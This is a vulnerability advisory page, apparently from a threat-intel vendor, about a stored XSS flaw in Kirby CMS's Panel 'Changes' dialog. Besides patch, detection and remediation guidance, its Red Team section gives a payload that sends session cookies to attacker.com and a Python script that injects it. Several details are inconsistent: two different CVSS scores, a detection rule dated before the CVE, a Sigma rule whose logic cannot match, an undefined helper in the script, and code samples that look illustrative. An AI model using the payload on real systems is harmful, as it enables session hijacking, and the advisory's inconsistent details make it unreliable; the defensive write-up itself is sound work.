☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Kirby logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.1 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-65012

CVE-2025-65012 Cross-Site Scripting in Kirby
📅 PUBLISHED: 2025-11-18 22:44 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.18%
👁️
0.18% probability
4.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Germany License: Commercial
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-65012 is a stored Cross-Site Scripting (XSS) vulnerability in Kirby CMS, affecting versions 5.0.0 through 5.1.3. An authenticated attacker with the ability to modify page titles or usernames can inject malicious JavaScript. When another authenticated Panel user opens the "Changes" dialog, the payload executes in their browser session. The attack requires user interaction and cannot be automated. The vulnerability is patched in Kirby 5.1.4.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Kirby is a PHP-based CMS distributed via Composer. The vulnerability exists in the core application code, not in a third-party package. Users should update the getkirby/kirby Composer package to version 5.1.4 or later. Verify the integrity of the update by checking the SHA-256 hash of the downloaded package against the official release.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 5.4 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: Low (PR:L) – requires an authenticated Panel user
  • User Interaction: Required (UI:R) – another Panel user must open the "Changes" dialog
  • Scope: Changed (S:C) – the vulnerability can affect resources beyond the vulnerable component
  • Confidentiality Impact: Low (C:L) – limited data exposure
  • Integrity Impact: Low (I:L) – limited modification of data
  • Availability Impact: None (A:N)

Threat Level: Medium. The attack requires authenticated access and user interaction, but the potential for session hijacking or data exfiltration makes it a significant risk for multi-user Kirby installations.

Deep Dive & Mechanics

The vulnerability resides in the Kirby Panel's "Changes" dialog, which displays pending modifications to pages or user profiles. When an attacker changes a page title or username to a malicious string (e.g., <img src=x onerror=alert(1)>), the string is stored in the database without proper sanitization. The "Changes" dialog then renders this string in the HTML context without escaping, leading to XSS.

Attack Flow:

  1. Attacker (authenticated Panel user) navigates to a page or user profile.
  2. Attacker modifies the title or username field to include a JavaScript payload.
  3. Attacker saves the change, storing the payload in the database.
  4. Another authenticated Panel user opens the "Changes" dialog to review pending modifications.
  5. The dialog renders the malicious title/username, executing the payload in the victim's browser.

Root Cause: Insufficient output encoding in the "Changes" dialog template. The application fails to escape user-controlled strings before rendering them in HTML.

Vulnerable vs. Patched Code

Vulnerable Code (Kirby 5.1.3):

// In Kirby's Panel controller for the "Changes" dialog
$changes = $page->changes();
foreach ($changes as $change) {
    echo '<div class="change-item">' . $change->title() . '</div>';
}

Patched Code (Kirby 5.1.4):

// In Kirby's Panel controller for the "Changes" dialog
$changes = $page->changes();
foreach ($changes as $change) {
    echo '<div class="change-item">' . esc($change->title()) . '</div>';
}

The patched version uses the esc() function (or equivalent) to HTML-encode the output, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Access to a Kirby 5.0.0–5.1.3 instance with at least two authenticated Panel users.
  • Ability to modify page titles or usernames.

Exploitation Steps:

  1. Log in as the attacker user.
  2. Navigate to a page or user profile.
  3. Change the title or username to: <img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>
  4. Save the change.
  5. Wait for another Panel user to open the "Changes" dialog.
  6. The payload executes, exfiltrating the victim's session cookie.

Proof-of-Concept (PoC) Script:

import requests

target = "http://target-kirby.com/panel"
attacker_session = {"cookie": "your_session_cookie"}

# Step 1: Get CSRF token
r = requests.get(f"{target}/login", cookies=attacker_session)
csrf_token = extract_csrf(r.text)

# Step 2: Modify a page title
payload = "<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>"
data = {
    "_csrf": csrf_token,
    "title": payload
}
r = requests.post(f"{target}/pages/1/update", data=data, cookies=attacker_session)
print(f"Payload injected: {r.status_code}")

Blue Team

Detection Steps:

  1. Monitor for unusual changes to page titles or usernames containing HTML/JavaScript characters.
  2. Review Panel access logs for suspicious modification events.
  3. Inspect the "Changes" dialog for unexpected content.

Hunting Query (Splunk):

index=web_logs source="/var/log/kirby/panel.log"
| search "title" OR "username" AND ("<" OR ">" OR "onerror" OR "onload")
| table _time, user, action, field, value

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound connections to attacker-controlled domains (e.g., attacker.com)
    • HTTP requests containing document.cookie in the query string
  • File IOCs:
    • Modified page content files in content/ directory containing <script> or <img onerror> tags
  • Log IOCs:
    • Panel access logs showing rapid title/username changes
    • Error logs with JavaScript execution errors

Detection Engineering

YARA Rule

rule kirby_cve_2025_65012_xss {
    meta:
        description = "Detects stored XSS payloads in Kirby CMS content files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65012"
    strings:
        $xss1 = /<[^>]*onerror\s*=[^>]*>/i
        $xss2 = /<[^>]*onload\s*=[^>]*>/i
        $xss3 = /<script[^>]*>.*<\/script>/i
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Kirby CMS Stored XSS via Title/Username
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-65012 by injecting XSS payloads into page titles or usernames.
author: Valters IT
logsource:
    category: application
    product: kirby
    service: panel
detection:
    selection:
        action: 'update'
        field: 'title' OR 'username'
        value|contains|all:
            - '<'
            - '>'
            - 'onerror'
            - 'onload'
            - 'script'
    condition: selection
falsepositives:
    - Legitimate use of HTML in titles (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-65012 Kirby CMS Stored XSS Exfiltration"; flow:to_server,established; content:"document.cookie"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Kirby to version 5.1.4 or later.
  2. If upgrade is not possible, apply the patch manually by adding HTML escaping to the "Changes" dialog template.
  3. Review and sanitize all existing page titles and usernames for malicious content.

Long-term Mitigations:

  • Implement Content Security Policy (CSP) headers to restrict script execution.
  • Enable input validation for all user-modifiable fields.
  • Conduct regular security audits of Panel code.
  • Restrict Panel access to trusted users only.

Workaround:

  • Disable the "Changes" dialog feature by modifying the Panel configuration (not recommended for production).

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-65012/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.